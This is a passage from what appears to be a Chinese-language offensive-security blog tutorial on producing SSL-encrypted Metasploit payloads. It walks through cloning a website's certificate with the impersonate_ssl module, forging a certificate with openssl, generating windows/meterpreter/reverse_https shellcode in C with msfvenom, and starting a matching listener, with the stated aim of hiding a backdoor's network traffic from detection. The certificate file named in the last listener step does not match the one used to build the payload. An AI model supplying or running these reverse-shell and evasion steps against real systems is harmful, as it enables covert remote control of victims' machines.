1.3 Metasploit 生成SSL加密載荷
在本節(jié)中,我們將介紹如何通過使用Metasploit
生成加密載荷,以隱藏網(wǎng)絡(luò)特征。前一章節(jié)我們已經(jīng)通過Metasploit
生成了一段明文的ShellCode,但明文的網(wǎng)絡(luò)傳輸存在安全隱患,因此本節(jié)將介紹如何通過生成SSL證書來加密ShellCode,使得網(wǎng)絡(luò)特征得到隱藏,從而提高后門的生存能力和抵抗網(wǎng)絡(luò)特征分析的能力。
ShellCode 網(wǎng)絡(luò)特征加密我們采用的是SSL(Secure Sockets Layer),現(xiàn)已被替換為TLS(Transport Layer Security),SSL是一種用于在Web上傳輸數(shù)據(jù)的安全協(xié)議。它的主要目的是確保在互聯(lián)網(wǎng)上傳輸?shù)臄?shù)據(jù)在傳遞過程中不會被第三方竊取或篡改。SSL加密的原理是通過兩個公鑰和一個私鑰來加密數(shù)據(jù)。公鑰用于加密數(shù)據(jù),私鑰用于解密數(shù)據(jù)。在傳輸過程中,發(fā)送者使用接收者的公鑰對數(shù)據(jù)進(jìn)行加密,接收者使用自己的私鑰對數(shù)據(jù)進(jìn)行解密。這樣,即使在網(wǎng)絡(luò)上被竊取,數(shù)據(jù)也無法被第三方解密,從而保證了數(shù)據(jù)的安全性。
通常,SSL證書由以下幾部分組成:
??證書主體:證明證書擁有者的信息,如域名、組織名稱等。
??公鑰:用于加密數(shù)據(jù)的公鑰。
??私鑰:用于解密數(shù)據(jù)的私鑰,需要在安全的環(huán)境中保存。
??簽名:證明證書內(nèi)容是由可信任的證書頒發(fā)機(jī)構(gòu)簽發(fā)的。
??有效期:證明證書的有效期,在該期限內(nèi)有效。
??頒發(fā)者:證明證書的頒發(fā)者,如VeriSign、GoDaddy等。
1.3.1 通過MSF模塊克隆證書
要想實現(xiàn)加密通常我們需要獲取一個專屬的證書文件,獲取證書的方式有兩種,第一種方式是通過Impersonate_SSL
模塊,對已有證書進(jìn)行下載操作,如下命令實現(xiàn)了將www.lyshark.com
網(wǎng)站中的證書下載到本地的功能,
msf6?>?use?auxiliary/gather/impersonate_ssl
msf6?>?set?rhost?www.lyshark.com
msf6?>?run
當(dāng)讀者執(zhí)行命令后,則該證書將被下載到home/lyshark/.msf4/loot/
目錄下,其中包含了證書的key,crt,pem
等文件,輸出如下圖所示;

當(dāng)具備了克隆證書后,讀者可在Metasploit
中交互式執(zhí)行如下命令實現(xiàn)生成帶有加密功能的ShellCode
代碼,如下代碼中通過HANDLERSSLCERT
指定證書位置,并通過generate
生成C語言版ShellCode代碼。
msf6?>?use?payload/windows/meterpreter/reverse_https
msf6?>?set?STAGERVERIFYSSLCERT?true
msf6?>?set?HANDLERSSLCERT?/home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pem
msf6?>?set?LHOST?192.168.9.135
msf6?>?set?lport?8443
msf6?>?generate?-f?c
而對于服務(wù)端來說,在傳遞參數(shù)時,讀者同樣需要在HANDLERSSLCERT
中傳遞私有證書,
msf6?>?use?exploit/multi/handler
msf6?>?set?payload?windows/meterpreter/reverse_https
msf6?>?set?HANDLERSSLCERT?/home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pem
msf6?>?set?STAGERVERIFYSSLCERT?true
msf6?>?set?LPORT?8443
msf6?>?set?LHOST?192.168.140.128
msf6?>?run?-j
1.3.2 通過OpenSSL制作證書
當(dāng)然讀者也可用通過kali
系統(tǒng)內(nèi)自帶的openssl
命令生成一個新的偽造證書,OpenSSL是一個開源的安全工具,用于實現(xiàn)SSL/TLS
協(xié)議。它提供了一系列命令行工具,可以用于生成證書、加密數(shù)據(jù)、解密數(shù)據(jù)等操作。
首先使用第一種方式生成,下面是各個參數(shù)的詳細(xì)解釋:
??req:指定生成證書請求。
??new:指定生成一個新的證書請求。
??newkey rsa:4096:指定生成的證書的密鑰長度為4096位。
??days 365:指定證書的有效期為365天。
??nodes:指定不加密私鑰。
??x509:指定生成的證書類型為X.509證書。
??subj “/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com”:指定證書主題信息,其中C=UK代表國家,ST=London代表省份,L=London代表城市,O=Development代表組織,CN=www.lyshark.com代表通用名稱。
??keyout?www.lyshark.com.key:指定輸出的私鑰文件名。
??out?www.lyshark.com.crt:指定輸出的證書文件名。
通過這條命令,可以生成一個有效期為365天,密鑰長度為4096位的X.509證書,證書主題信息為"/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com",私鑰文件名為www.lyshark.com.key,證書文件名為www.lyshark.com.crt。
┌──(lyshark?kali)-[~/lyshark]
└─$?openssl?req?-new?-newkey?rsa:4096?-days?365?-nodes?-x509?-subj?\
"/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com"?\
-keyout?www.lyshark.com.key?-out?www.lyshark.com.crt
┌──(lyshark?kali)-[~/lyshark]
└─$?cat?www.lyshark.com.key?www.lyshark.com.crt?>?www.lyshark.com.pem
接著讀者可執(zhí)行msfvenom
命令通過非交互方式生成一段加密版的ShellCode代碼片段。
┌──(lyshark?kali)-[~/lyshark]
└─$?msfvenom?-p?windows/meterpreter/reverse_https?LHOST=192.168.9.135?LPORT=8443?\
PayloadUUIDTracking=true?PayloadUUIDName=Whoamishell?\
HandlerSSLCert=/root/test/www.lyshark.com.pem?\
StagerVerifySSLCert=true?-f?c?-o?/root/test.c
服務(wù)端啟用偵聽模式,并通過HandlerSSLCert
傳入同樣的證書私鑰即可。
msf6?>?use?exploit/multi/handler
msf6?>?set?payload?windows/meterpreter/reverse_https
msf6?>?set?LHOST?192.168.9.135
msf6?>?set?LPORT?8443
msf6?>?set?HandlerSSLCert?/root/test/www.baidu.com.pem
msf6?>?set?StagerVerifySSLCert?true
msf6?>?exploit?-j?-z
本文作者: 王瑞 本文鏈接: https://www.lyshark.com/post/4f8ecc9a.html 版權(quán)聲明: 本博客所有文章除特別聲明外,均采用 BY-NC-SA 許可協(xié)議。轉(zhuǎn)載請注明出處!